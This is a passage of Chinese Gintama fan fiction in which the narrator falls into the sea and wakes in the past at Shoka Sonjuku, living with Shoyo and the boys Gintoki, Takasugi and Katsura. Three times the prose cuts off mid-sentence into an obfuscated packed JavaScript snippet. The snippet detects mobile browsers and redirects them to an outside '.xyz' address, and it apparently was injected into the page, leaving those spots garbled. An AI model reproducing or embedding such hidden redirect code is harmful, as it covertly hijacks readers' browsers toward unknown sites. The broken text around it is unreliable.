如果要我救人……未免也太瞧得起我了吧。过来的路上一地的尸体已经让我几欲吐出来……我要是被发现,会被干掉吧。 虽然,本来就找死来着。 罢了,真死了就可以回去了,我是一直坚信这个的。就当是……还坂田银时一个人情吧,来这里大半年他们帮了我可不少。 “银,银时——” 在月咏的惨叫响起之时,我咬着牙无声无息地靠近,手中锋利的刀刃飞快地砍掉身边的丝线。 精密的巢穴忽然被打开一个缺口,那边悬于半空的男人脚下一空,反应极快地跃至另一边,狠戾的眼神瞬间锁在我身上。 “啊……看来跑进来其他猎物了。” 那嗓音低哑变态,让我手脚发凉。我没有说话,尽可能冷静地砍掉丝线往那边靠近。 “警察,不许动!双手抱头!”虽然在这个世界没有考到牌照,但多年培训下来的职业素养还是在的。 “阿,阿萤?”一身血的月咏趴在另一边,吃惊地看过来。 “蠢货,你来干嘛?”坂田银时骇然,脸色比刚才更白,“还冒充警察?你以为自己是飞蛾吗?连蜘蛛的巢穴都扑!” “闭嘴!就不能说是蝴蝶吗?”没文化的白痴!我朝那个飞快跃过来的人吼道。 什么冒充,我没说过我曾是警察吗?还是个很有可能考进特种部队的优秀分子! 比他更快的是数把锋利的苦无,我手起刀落狠挥,打掉那些袭来的苦无。手法利落得让我吃惊,我……不,这个身体比我想象中灵活! “银时,危险——”月咏大骇地叫道。 大概是没料到我能避开苦无的攻击,地雷亚看也没看我地袭向银时。 鲜血飞溅,坂田银时惊骇的眼神与地雷亚震惊的眼神交错,他们的血同时溅落在我身上和脸上。高杉给我的那把短刀,被我狠狠地插进了地雷亚的肩膀。 他伤他几分,我便代他回报多几分。 下一瞬,我抓着银时的衣襟,直接把人往后撞去。最后看到的,是地雷亚抬起握着苦无的手,以及月咏挣扎着甩出苦无。 入水的刹那,海水的腥咸与冰凉瞬间席卷我所有神经,我下意识地伸手想要抱着那个一身是血,水性也不行的男人,却发现自己的手上浮现很多泡沫,一双手臂仿佛要消失般。 卧……槽,我是人鱼公主吗?这是要化成泡沫的节奏啊!我微微睁大眼,还是说……我真的要回去了?以这种升天般的诡异方式? 蓦地,腰间一紧,我被搂进一个微暖的怀抱。大手按在我脑后,眼前的人还是那个人,但眼神却带了一丝哀伤,笑容非常温柔。 他把我按进怀中,在我耳边轻声说了一句什么。 然后,无数大小不一的泡沫如同幻觉般把我包围,海水的声音骤停,我整个人失重般往下跌去。 这一切……终于结束了吗? 15.松下村塾 【代我……向老师问好。】 呆呆地坐在被褥上,我望着拉门外安静的日式简约庭院,有种不知今夕是何年的感慨。 这是去到什么奇怪的地方了吗? 身上已换上干净的素色浴衣,项链和怀表都在,我拉出来看了眼,原本有数字显示的怀表现在已经空白一片,任我怎么按都没反应。 叹口气,我打量着自己所在的房间。十分简单的和式房间,不算宽敞,门外就是一个小院落,由简单的篱笆隔出来,院中还有一颗不算壮的松树。 这里是哪里?该不会又去其他奇怪的世界了吧? 突然,脚步声由远而近,我扭过头,触及一双温柔的灰色眸子。 那是一个亲和力十足的男子,浅茶色的发柔顺地披散在身后,面容俊美秀气,笑容如春般暖和。犹如自带柔光滤镜,眼前的他温柔得让人下意识放松警惕。 “啊啦,你醒了呀。”男子笑着坐在我身边,笑眯眯地道,“真是太好了,你睡了快两天了呢?头还疼吗?别担心,你的衣服是隔壁的女性帮忙换的。” 头?我摸了摸头顶,一阵钻心的痛,“好痛……这里是哪里?我什么时候受伤了?” 我不是掉海里了吗? “你……都忘记了吗?”男子表情微讶,声音也低了些,仿佛怕吓到我般。 我茫然地摇摇头,散落的黑发披散在身上,陌生的环境,陌生的人,我下意识地有些慌乱。 大概是形于外的仓惶太过纤弱,男子的眼神多了几分安抚,眉眼更柔和。 “也难怪……撞在那个银时头上……那家伙都被撞晕了,你一定是受了很大的撞击。”男子低喃着,笑容有些歉意,“都是我们的错,没关系的,你要是不嫌弃的话,可以先留在这里。等你好了,想起来再做下一步决定。” 诶?稍等,我的意思是我忘了怎么来这里,不是说我失忆……等等,银时?是我认识的那个吗? “对了,你还记得自己的名字吗?”男子安抚般看着我,问道。 “月见……萤。”我呐呐地道。眼前的人有种强大的亲和力,我完全生不出一丝警戒,真是个很厉害的人。 “阿萤么。这里是松下村塾,我是这里的老师,吉田松阳。”松阳偏头轻笑,淡茶色的发丝轻动,有种春日阳光下的美好。 “假发,别压着我的头啊!” 门边一阵骚动,紧接着,三个头颅叠叠乐般跌出拉门边。 “银时,你们来了啊。”松阳没有一丝意外,朝三个小子招招手,“因为受了伤,阿萤不记得自己的事了,她会暂时留在这里哦~” “啊?老师,这样好吗?她看起来……”发色暗紫近黑的小男孩看起来不过十来岁,有些单薄,一双暗绿的眸子灵气十足,精致的小脸上原本抗拒的表情在看到我后扭曲了一下,“好吧,她看起来也不像是坏人……” “到底是因为我们她才受伤,我们确实应该照顾她到安好才对,是吧,高杉。”扎着马尾的黑发男孩拍拍他。 “够了,假发,你别一看到年纪大的女人就心软好吧,她看着就不是寡妇。”抱着一把刀盘腿坐在门边的银白色卷毛小子挖了挖鼻孔,懒洋洋地道。 话音一落,一个枕头猛地砸上他的脸,力度不大却也差点把他的小指撞入鼻孔。 “谁是年纪大的女人啊?我才25而已!”把枕头甩过去的我笑眯眯地看向那三个目测大概十岁左右的小男孩,“女人的25是鲜花刚绽放的年纪哦~” “混蛋,你不是说忘记了吗?”银发小子丢下枕头怒指着我。 “人的大脑是复杂的,总有些东西不能忘记。”我手扶着额头,虚弱地笑了笑,“对吧,松阳。” 松阳笑眯眯地点头,“介绍一下,这是住在这里的我的弟子,坂田银时,高杉晋助和桂小太郎。就是他们把你带回来的,以后请多多指教。” 啊……嘞? 我顺着他的手指逐个看过去,那个抱着刀没好气瞪着我的,那个正经脸眼神带了丝警惕的,还有那个正襟危坐笑容善意的…… 我抬手挖了挖耳朵,嘴角狠狠地抽搐,“呐,松阳……这些小子……都是谁来着?” 时空跳跃……是这个跳跃啊…… 我提着买来的鱼,还有回来路上遇到的邻居送的蔬菜,站在纯日式风格的庭院无语地望天感叹。 时值春日,空中还有些樱花花瓣的飘动,阳光舒适得让人昏昏欲睡。朗朗书声从一边的和室传来,整个小小的庭院有种岁月静好的韵味。 抬眸看过去,不过十来个学生,大部分都在认真地听着松阳讲解书文,比如那个有小神童之称的桂小太郎。也有心思不在书本上的,比如眼神只追着松阳完全没看书的高杉同学,不过他也比那个抱着刀坐在最后面睡得昏天暗地的银时好很多,至少人是清醒的。 看着他们,我更想叹气了。来到这里有好几天了,我还没从这个奇遇里回过神。 现在所在的地方是远离江户的村落,而现在所处的时间距离我之前所在的江户要早将近十六七年,天人入侵地球不久,飞船还没满天跑。甚至,那几个熟悉的男人还没长大…… 我总算是知道为什么新八会觉得他们认识我了。在他们的时间线来看,确实早就认识我,是我还没认识他们而已。对我而言在江户的初遇,对他们来说是跟我的重逢。 至于我为什么会出现在这里,呵呵,无解。 唯一可以肯定的是,我的时间好像随着怀表一起停住了。我抬手看了看手指,我的指甲从来的那天起就没长过,但如果身体受了伤却又会愈合。 昂,问我怎么知道的?在发现我身体异常的时候,我就拿刀划手实践过了……还被桂以为我要自杀吓了一跳,解释好久才信我是不小心划的。 “真TM的诡异……我该怎么办呢?这个时候死掉的话还能回去吗?”想归想,我可不敢随便去死。 小娃娃的哭声夹杂在读书声里很是突兀,我回过神,看到一个女学生背上的婴儿在哇哇大哭。松阳见状便背了过去,一边哄着小娃娃,一边继续上课。 来这里上课的学生都是家里没几个钱的却又对知识有渴求的,尽管大家的水平不一样,但松阳都尽心尽力地教导。这个男人以超乎常人的耐心和温柔对待这些孩子,真正做到了有教无类,让我从心底敬佩。 一个高大的男人背着娃娃居然也能这样好看,世界对他的滤镜也太美好了吧。我失笑地看了一会儿,朝他扬了扬手,走过去。 “太好了,辛苦阿萤~”松阳如释重负地笑了笑,帮忙把孩子给我背上,瞄了两眼我手上的东西,“啊,今天是吃鱼吗?” “嗯嗯~今天的鱼很新鲜,清蒸就很好~”我颠着孩子,小声地道。 原本应该做成鱼生的,但我不会弄。松阳厨艺还不如我,对吃食也没什么意见,能不用自己来做他也松了一口气。 是的,没错,作为留下的代价,我主动承担了一些家务权当房租,顺便也把这里的财政大权都接过来了。至于为什么会变成这样,我也不太记得了,反正那晚挺混乱的,不知不觉就被松阳带偏了。 背着孩子,我往厨房走去,路过的时候看到松阳笑眯眯地一记把那个睡得打呼的笨蛋叫醒。 看着这个不努力学习的小子,还真叫我这种乖学生不爽,等下把红萝卜都给他算了。 做好了饭,我低头看着水盆中倒影的自己。 素色的和服是村中寡居的姐姐送的旧衣,松阳本想买了两套给我,但不想让这个家的财务雪上加霜我拒绝了。 一头黑发披散时会显得人过分纤弱纯良(高杉好像不太能抗拒这款的),如今被我扎成利落马尾,刘海之下是精致的眉眼,琥珀色的眼睛很大,眼神清明,含笑之时会弯成月牙状,哪怕不施脂粉也掩不去那种清丽的美。眉宇间的魅惑已转为英气和明媚,我自己多看几眼也会感叹,不愧是吉原中备受凤仙赏识的游女,话说这个时候真正的月见萤应该刚到吉原不久。 “哎,就算穿得不像有钱人,还是美得这么让人不放心。”我不由得感叹道。不是我自负,就算穿着旧衣走出去,也是备受附近邻居的男子侧目的。 噗嗤一声从身后传来。 我回过头,桂一脸忍俊不禁的笑意,“我来帮忙做饭团吧,阿萤。” “我说,假发,不要学银时那混蛋,好歹加上姐姐两个字啊。”我插着腰鼓着腮要求。 都怪那没大没小的卷毛,现在大家都不对我用敬语了。真是的,不就是因为不讲卫生的坏习惯被我压着揍了几次而已,小心眼的混蛋,跟长大后一样记仇。 原本这三只对我是有些警戒的,但那次他们打架弄伤后我帮忙包扎后便熟了起来。原因是他们觉得,我包扎的技术表明是松阳派来惩罚的,吐槽和反驳过于频繁之下嘴炮和话痨是很容易构建友谊的桥梁(bushi)。 反正,同一屋檐下相处起来也确实交集很多就是了。当然,我的厨艺大大改善了他们的伙食也是被接纳的原因之一。 “不是假发,是桂。阿萤不也一样从来听不进别人的话吗?”桂也对我跟着他们喊假发颇有意见,但无奈我们都不听他的,“啊,今天多了好些青菜哦。” “青菜是回来路上田中先生送的,萝卜是卖菜的上野小哥赠的。”我咧出大大的笑容,“他们真是好人呢~” 附近的邻居都是些下级武士和普通浪人家庭,目前看起来都挺和善,就连寡居的大姐姐也温柔体贴。不过比起笑语不断的姐姐们,那几个小哥就太沉默了,话都说不利索,只会把东西塞过来。 “拜托,他们想撩你呢,你发什么卡啊。”银时扛着他的刀走过来,边打哈欠边挖着鼻孔。 “怎么可能 ,他们还小呢。”我随意地摆摆手,那几个小哥不过十八九岁,腼腆又内向,存在感还不如眼前这三个小鬼。 高杉挽起袖子过来帮忙,小脸带着浓浓的警告,“我说,你别随便在外面招惹这些奇奇怪怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907149|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,省得他们把老师当假想敌。” 像是想到什么般,高杉脸色暗了些,看着我的眼神有点欲言又止。 “说起来,他们还真不如松阳好看。”我摸摸下巴,肯定地道,“要是再壮点就更好了。” 到这个世界那么久,松阳是我看过最好看的男子,虽然温柔挂不是我的菜,但那身春风般的气质很容易让人有好感。长大后的桂也有点这种日式美男子的韵味,只是他日常太脱线了,破坏了那份清冷的美感。 高杉三人一听,脸色也紧张起来,“喂,不许你肖想老师,虽然他们确实不如老师,但是不许你对老师做些奇怪的事啊!” 啧啧,高杉这小子紧张的样子真是让人想欺负一番。 我一把勾着他的脖子,手掐着他的脸蛋,“省省吧,你们的脑子就不能想些健康的事吗?晋晋啊,姐姐我可是喜欢肌肉型的猛男呢~” “松阳很强的。”银时举手替老师申诉一下。 “没错,老师很厉害……不对,谁是晋晋啊!”高杉别扭地被我圈着,努力挣扎,也不知道是不是气的,小脸蛋有些发红,更可爱了。 “晋晋这个称呼很不错哦,对吧,银时。”桂倒是很高兴,他放下饭团,笑着看高杉被我压着揉头发的窘样,“看吧,晋晋很喜欢呢~” “闭嘴,假发!”高杉炸毛了,像只被逗弄的小猫般,看得我心花怒放。 哼,谁叫你将来把我推去送死?还那副中二残虐的模样,也不知道你是怎么长成那副样子的。我扣着他,把那头柔顺的短发搔得像鸡窝才心满意足地放手。 “看吧,阿萤,你不但是肌肉控,还是个傲娇控啊。”银时淡定地捏了捏手指上的鼻屎,弹到好不容易跳离我的高杉肩膀上,气得高杉抬腿就是一脚。两人非常有默契地互掐。 “谁是傲娇控啊,我喜欢直球派。”我坚决否认,体嫌身正什么的我才不喜欢呢~ 放任他们打闹,眼角余光扫过庭院,蓦地发现篱笆外头站了几个男人,不知道看这边多久了。 “又是那些人!”桂脸色一沉,随即高杉和银时也肃穆起来,眼神凌厉。 “哼,那么爱看啊……”压低稚嫩的嗓音,银时扛着刀就想走过去。 挑了挑眉,我这些日子在外面走动,也听到一些人对松阳和松下村塾的风评。不就是传闻他是借着村塾结党私营,暗中反对现在的幕府么?可是我看到的,只是一个尽责的老师悉心教导着那些求知的孩子,引导着他们寻找自己的武士道罢了。 武士道什么的,我不太懂,但谣言这种东西不可靠却危险,我见过太多案例了。 这种文字狱般的东西判别的标准本来就掌握在上位者手中,有没有罪就是他们说了算,松阳就算是在学岳飞在背上刺上将军万岁四个字也没用。更何况这种隐约有针对性的造谣,百口莫辩,也挺让人烦躁的。 伸手拎着银时的领子,我把他丢回去,“装什么,家里有大人在呢。” “就你?”高杉+银时,两张小脸俱是不信和鄙夷。 懒得理会他们,我换上客套的笑容直接走到篱笆旁,光明正大地叫住那几个人,“请问几位是有什么事吗?要上学的话今年招生名额满了哦,明年请早。看你们也没什么文化的样子,回家先学一下拜访礼仪吧。还是说要来我们家吃饭?没做你们份哦,下次记得提前打招呼带上礼物再来哦……哎,真没礼貌,我话还没说完呢。” 三小只来到我身边,桂一脸正经地跟我道,“阿萤,你怎么直接跟他们说话了?” “你根本不知道,这些人……”高杉对这些人明显有很大意见,臭着一张脸。 “不就是到处造谣松阳的人的走狗么?”看到他们略惊讶的眼神,我有些无奈,这些小子到底把我看得多低啊? 我按着银时和高杉的头狠狠地揉了揉,“谣言是百口莫辩的,有没有问题只取决于上面的人怎么说。而这些只会看的狗子不敢直接杀过来,没必要浪费时间研究,把心思用在刀刃上才对啊孩子们。” 因为扎着马尾逃过一劫的桂躲过同伴求救的手,好奇问我,“例如呢?” “嗯……例如今晚的晚餐,我做得超级好吃哦,还有饭后甜点~”我精神一振,指着厨房嘿嘿笑道。 听到有甜点,银时没神的红眸一亮,瞬间把方才的事丢在脑后,“哟西,那快准备吃甜点吧~” 这下换他推着我去厨房了。不怪他,全村塾都知道他迷恋甜食。 “阿萤你上点心啊……”高杉还在纠结,小大人般叹气。 “点心饭后才能上哦~”我随口回了句。 “我说的不是这个啦!真是的……”高杉鼓着小脸瞪着我。 “走吧,反正有老师和我们在,她的确不必花时间担心这些。”桂拍拍他的肩膀,笑着安抚。 “喂喂,小子们,我听到了!揍你们哦。”我没好气地瞪着这两个瞎操心的小子。 这个家的大人明明只有我和松阳啊喂! 16.坏小子们 乡下的夜色比都市宁静,灯火也不多,黑漆漆的间或有几声狗吠,不见喧闹反而衬得四周更安静。淡淡的月色铺洒在地上,让某些罪恶悄然露出端倪。 常言道月黑风高是案件高发时间,没想到明月当空也有人乐意忙碌。 我靠在围墙边,抱手无奈摇头,静静地看那两个小小的身影在另一边谨慎地戒备着。不远处的路的另一边,几个男人提着灯笼商议着什么走过来。 啧啧,现在的男孩子都喜欢玩深夜冒险游戏么?我眯起眼笑了笑,慢条斯理地从地上抽出一根绳索。 那些人走近的时候,躲在两边的小子狠狠拉起一条麻绳。猝不及防的几个人被绊倒向前扑。 我一拉绳索,哇啦一下,前方的地面忽然下陷,几个男人顺畅地砸进坑里头,摔得七荤八素。 “怎,怎么会这样?”高杉瞪圆眸子,愣愣地看着眼前的深坑。 “啊啦啊啦,瞧我抓到什么猎物?不可燃的垃圾和夜晚不睡觉跑出来玩的蠢货么?”我抽回绳索毁灭证据,漫步走出阴影,让自己沐浴在月光之下,“松阳没跟你们说过么?深夜档不适合未成年儿童哦。” “阿萤?”银时吃惊地看过来,下意识退了一步,又像是不服输般理直气壮起来,“你不睡觉跑出来做什么?” 我挑眉懒得理会他,抬手打了个响指,“假发~” “不是假发,是桂。”桂从另一边跑出来,匆匆地把怀中的东西往那几个坑里的人倒去,浓郁的味道顿时蔓延开来。 银时两人愣了一下,鼻子一动,“是酒?” 忽然,哨子声传来,窸窣的脚步声繁杂。 “快跑啊傻瓜!”我和桂一人拉一个往暗处跑。没多久,一队人出现在坑的那边,叫嚷一阵后便把人抬走了。 “真是的,你们光是捉弄他们有什么用,要动手就得让他们吃点苦头。教训不痛就不叫教训了。”回去的路上,我边打哈欠边戳着他们的头训斥。 “你把人都坑了,为什么还要叫巡捕那些人来救走他们?”银时拍开我的手,跳到安全范围才问道。他离得近,看着那些人摔得不轻。 “蠢货,这几天他们都来蹲我们家,要是出了事肯定要怀疑我们。既然那样,就让大家都看到是他们自己犯蠢就好了。”我笑着指了指桂,“多亏了假发帮忙善后。” 桂笑容难得灿烂,“酒是居酒屋的大姐姐送的,他们一身酒气,大家只会以为是他们喝醉了自己砸坑里。” 这下他们就算怀疑也赖不到我们身上,反正苦头是吃足了。 “他们不会跟巡捕的人说可能是我们做的吗?”高杉认真地抬头看我,眉宇间却没几分担忧。这种事他们估计是做多了,不过我这种曲折的他们不懂。 “疑罪从无,没有证据谁信?”我咧出笑容,很是期待,“要是他们敢污蔑我们也可以啊,我能让他们反吐一堆好处出来。” 高杉半脸阴影,不知道在想什么。 “别担心啊晋晋,实在不行,我对埋尸灭迹的方法也有些研究~”以前看了不少案例,我笑着安抚忧心忡忡的高杉。 “别说这么恐怖的话啊!”高杉一秒炸毛,想要说什么又噎下了。 银时看了看我们,没继续这个话题,他好像对其他事兴趣更大。 “话说,那些大姐姐送你酒是打什么主意啊?假发,那是你常去聊天的寡妇开的店吧?”银时啧啧地道。 “别胡说,她们能有什么坏心思?我平时也不过是去跟她们说说话解闷而已。”桂义正辞严地反驳,“再说,这计划是阿萤定的。” “所以说,那个坑到底是怎么回事?你怎么会知道我们今晚行动啊?假发你是卧底吗?叛徒!”高杉鼓着腮瞪着我们。 “坑是之前官府修整的时候挖的,阿萤不知道怎么弄的把它扩宽挖深了。”桂有点不好意思,他也是被我说服转头来帮我的,“但我之前真的不知情,是今晚阿萤才找上我的。” “切,就你们这些我就是用脚指头都能猜到……都是姐姐我小时候玩剩的好么。”我摸着下巴,高居临下地睥睨着不及我肩头高的小子。哎呀,这个角度看得他更漂亮了,主要是我心情爽啊。 “你们也别怪假发了,是我洞悉了你们的行动让他帮忙而已。谁叫我是经验丰富的大人呢~” 被我鄙视的高杉不爽地跳开,别过头,重重地哼了声。 “就你这副样子还大人……除了胸哪里都不大……痛!”银时懒洋洋的话总结在我的拳头下,抱着头上的包乱窜。 “不尊重女人的混蛋是要遭女神大人教训哦小子!” “呵呵,这个时间还这么精神,真是让人惊讶呢~” 蓦地响起的轻柔嗓音让我们脚步一顿,我抬头望去,村塾门口靠着的那个不就是松阳吗? 银白色得月华洒在他身上,仿佛给他蒙上一层薄纱,原本就轻柔的笑容更加如梦般朦胧。他手缩在袖子里,笑眯眯地走过来。 三小只恭敬地站在他前面,表情有些古怪,又怕又可怜兮兮的,我不明所以地看向松阳。 “不是说过了吗?深夜冒险游戏对于你们来说,还早了些呢~”松阳偏头,笑容温柔得像春日的夜风,舒服中带一缕凉意。 砰砰砰的三下,三小只如土拨鼠般应声埋入地下,只露出一个头,每人头上都顶着一个新鲜热辣的包。嗯……银时头上两个。 我叹为观止地看着他们,眨眨眼,朝松阳露出无辜又单纯的笑容,“啊,今晚夜色真好~散个步刚好帮助睡眠呢~” 松阳笑着叹口气,伸手揉了揉我披散着长发的头,“阿萤你啊……” “……松阳,女人洗过的头发是不能碰的,就算是你也不行哦。” 我在松下村塾的日子就这样开展了。 松阳教学很有耐心,不但文科,算术,剑道和一些农活知识都有涉猎,知识渊博得让我惊叹。我的知识面对比这个时代算是很广的,偶尔跟他聊天的话题也有些接不住。作为学院派,我有很多专业的老师,而松阳一个人便掌握了这么多学科。 除了知识渊博,他对时局发展和国家未来的展望都很有自己的看法,很多地方跟我这个未来的和平主义政治观点都很接近。甚至他那种修身为主,以斩断懦弱自我为目标的武士道也比现在盛行的观念要先进。 想到那些对他结党营私的谣言,我有些沉重。在这个比十多年后的江户还要动荡的社会,他的思想被污蔑和打压太正常了,在这个安静的村落外面,还有很多抵抗天人的攘夷先驱者在奋斗。 明明是为了国家而战,但现在的幕府却没有给予多少帮助。只要一想到未来江户对天人的开放,我便觉得愤慨,这样的政府,真的配得起这些热血的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只有银时慢条斯理地丢开西瓜皮,没有反驳我的点名,舔了舔沾了西瓜汁的手指,“不是说失忆了吗?这些记得那么清楚,自己的设定都忘了吗?” 还没蔓延起来的沉重忽然被打破,我哈哈大笑起来,“那种东西不重要啦~” 孩子们相互看了看,纷纷笑起来。 村塾唯二的小姑娘以干净的手拉了拉我的袖子,朝我绽出纯净的笑容,“我喜欢老师,也喜欢阿萤姐。” 我微愣,眼神放柔,给她一个大大的笑容,“那当然了,我这么好,喜欢我不是理所当然吗?” 孩子们一愣,又是一阵大笑。 “啊,不行了,除了胸,你还心大啊……痛!混蛋你拿西瓜皮砸我!”银时被砸得直接躺在走廊上。 “蠢货……”高杉嫌弃地别开脸,挪了挪位置,懒得坐在他隔壁。 “你不是大人吗?怎么也这么幼稚啊!”银时猛地跳起来指控般瞪着我。 “这不怪你么,我本来很稳重的,就是因为遇到你们几个我才变得幼稚的。”我捏着他的手指轻轻一掰,“本大人给你个建议,别随便指着别人哦,没礼貌的小子~” 银时顿时石化,整个手指扭曲起来,痛得他说不出话来。 啧,跟未来的坂田银时相比,还是弱得很啊。 17.相互陪伴 “一二三,木头人~” 一时兴起猛地转身,走在身后的两个小子一人举着包袱单腿站立,一人抱着手刚踏一步,两个都稳稳地定住一动不动,死鱼眼无语地看过来。 我有点失望,“什么嘛,这么完美……” “哼,你以为我们还会中招吗?”鼓着小脸的高杉没好气地道。 “这种突袭我们已经很熟悉了。”一身蓝色浴衣的银时嘚瑟地扬眉。 好吧,这游戏玩多了,不能再坑他们。哎,新脑子就是好使。 我转身继续走。 身后杂乱脚步声一起,我马上跑了起来,边跑边喊,“一二三木头人!” 脚步急停,我回过身,那两个小子保持着飞奔的姿势摇摇欲坠地保持不动。 “啊哈哈哈……你们动作好蠢~”我毫不客气地指着他们大笑。 “混蛋……”两个小子老实地维持不动,那眼神充分表达了对我的不屑。 就这距离,估计下一次就能结束游戏了,这两个家伙跑得越来越快。我坏心地抱手欣赏他们的姿势,刚伸手比了个戳他们眼的动作,眼角余光就看到了那个小小的身影。 今天是桂婆婆的忌日,他一个人去祭拜了。 “看,就是那个桂家的小孩。” 还没扬手打招呼,就听到旁边坐着的几个妇人的声音。 “真可怜啊……全家就剩下他一个了……那么小就守着空荡荡的家。” “孤苦无依的小可怜啊,估计也没人在意……” “不对啊,不是听说他住到那个松下村塾的男人家里了吗?那男人也不知道在打什么主意……听说他教的都是些反对幕府的东西……真可怕!” 高杉和银时眼神一变,脚步一迈便想要走过去。我一把按着两人的头,扬起笑容朝那边的桂高声喊道,“小太郎~我们来接你回家了~” 那边低着头的桂听到喊声,猛地抬头看过来,脸色一愣,旋即露出大大的笑容朝我们跑过来。 几个妇人脸色尴尬地别过头,随意地扯些村里的话题。 “假发,认识的?”看到桂朝那边微微点头,我好奇地问道。 “是我家附近的大婶……她们人不坏的……”桂看了眼高杉他们的脸色,笑着摇了摇头。 “这样吗?”人不坏这不是正好么?我笑了笑,勾着他脖子走了过去。 那几个妇人神色有些僵硬,我视而不见地笑着朝她们道,“你们好~” “啊,你,你是松下村塾的那个阿萤姑娘……”其中一个条纹和服的女人认出我,讪讪地摸了摸鼻子。 “对呢~”我笑眯眯地压着三个小子低头打招呼,“谢谢你们平日关照我们家的孩子。” “也,也没什么……”女人不太好意思地低头,却又忍不住问道,“对了,你,跟那个男人是什么关系?” 闻言,另外几个妇人也看了过来。 “啊哈哈,我跟孩子们一样都是被他收留的。真是太幸运了,不然我就要流落街头。他负责教导孩子们知识,文学和剑道等等,我帮忙照顾孩子们作为回报。”我全然不管她们若有若无的目光猜疑,笑眯眯地道。 大概是说得太过坦荡,那几个妇人的脸色有点同情,这年代女人流落在外肯定没什么好下场。当然,松阳的外表也足够让人信服,只是她们很少接触他而已。 “那个吉田先生……确实也是好人,就是平时没怎么交流,我们也是担心他一个男子照顾不好孩子……”其中一人笑了笑,温声道。 “我来之前他其实也把孩子照顾的很好的,不过厨艺是逊色了些。说起来,上次上野家姐姐教我的秘制章鱼烧大家都很喜欢呢~”气氛和谐起来,我也不介意说些其他的。 “哎呀,都一把年纪了还叫姐姐……怪不好意思的……”女人捂着脸颊笑了。 “什么呀,这个我们家做得才好吃呢。”黄色和服的女人有点不服气地笑道。 “哎,阿萤姑娘,我做的大阪烧我家小子可喜欢了,改天我也教你。”另一个蓝色和服的妇人扬眉,豪爽地笑道。 “真的吗?太感谢了~我们松下村塾的孩子们有口福了~”我灿笑着回头,给了身后三个小子一个眼色。 “非常感谢。”三人十分有礼貌地致谢。 又聊了几句,我才带着三小只挥手告别她们。 “为什么要跟她们聊天啊……明明她们一开始还说老师的坏话。”走远之后,高杉才冷了脸色,有点不高兴地抱着刚才条纹大婶塞过来的自制咸菜。 “可是我们告辞的时候,她们都说松阳把你们教得很好,还让你们要好好学习知识呢。”我笑着伸手揉了揉他的发,“这就是跟她们交流的原因啊。” 高杉低头不语,我也没再多说,总不能跟他们说那几个妇女是村子最爱八卦的存在,与其让她们造谣,不如先把控谣言的方向吧。 “切,松阳根本不在乎被她们误解……他才不在意这些。”银时懒懒地甩着包袱走在我们身边。 我偏头,伸手搂过他和桂,“可是我在乎啊。那么好的松阳,那么可爱的你们,值得她们都知道我们的好。” 三人抬头看了我一眼,眼珠子又不自然地齐齐转向一边。 “阿银的形容词能不能换成帅气?”银时很有主见地要求。 “那个词跟你也没一点关系好吧。”高杉不同意,表示做人要客观。 “要不换成淘气?这个比较贴切哦。”桂倒是有不错的提议。 我笑看着他们争论哪个形容词比较贴合自己,间或跟遇到的村民打招呼。 距离会产生美,也会产生很多不必要的误解。松阳的风评一定程度上被那些结党的谣言抹黑了,连带着村塾的孩子们也会被议论。我不能一下子改变这些现状,但至少,在这些本质淳朴的邻里之间,我希望他们知道我们松下村塾的好。 “孩子们,舆论是双刃的,总不能光对我们不利啊。而且,我还挺喜欢跟人交流的,人类本来就是群居的生物,有来有往才能构建和谐社会嘛。” 没错,我喜欢跟人交流,沟通才能知己知彼。 “是这样吗……我明白了。”桂若有所思地点点头,虽然我们都不太明白他到底明白了什么。 “什么啊……”高杉别过头,嘟囔着,“反正,她们不误解老师就行……” “晋晋啊……太傲娇会让人误会的哦~”我嘿嘿笑着伸手掐了掐他的脸蛋。 “谁傲娇啊!” 午后的天空突然间变得晦暗阴沉,大雨骤然而至,豆大的雨点落在地面,溅起一缕尘土及连串水花。闷热的空气却没有得到缓解,反而变得黏糊糊的让人不爽。 “就说你是笨蛋还不认。” “咳咳咳咳……谁是笨蛋啊……” “说的就是你这个在夏天感冒的白痴。” 我捧着粥拉开门便看到这对峙的场面。银时挖着鼻孔,死鱼眼鄙视着死对头,还在发烧的高杉恨恨地瞪了他一眼,翻个身埋进被子里。 “好了,我让你帮忙照看一下,不是让你来幸灾乐祸……”没好气地揍了银时一记,我把赖着不走想要名正言顺逃课的小子一脚踢了出门,“赶紧给我上课去!” 打开碗的盖子,那种浓烈的味道直冲我鼻腔,我被熏得有点反胃。 “这是韭菜?”高杉冒出一个头,泛着不自然红晕的脸蛋衬得他整个人更显病态,声音沙哑。 我点点头,憋着气把粥盛好。 “你不是不喜欢韭菜的吗?”他坐起来,嗡声道。 “可是村口的婆婆说了,这个对感冒很有用。”我是很讨厌韭菜香菜这些味道比较大的东西,但那个婆婆很自信地说感冒吃这个熬粥最有效。据说是秘方,她家的小孙子从小就这样吃很有效。 “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926963|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 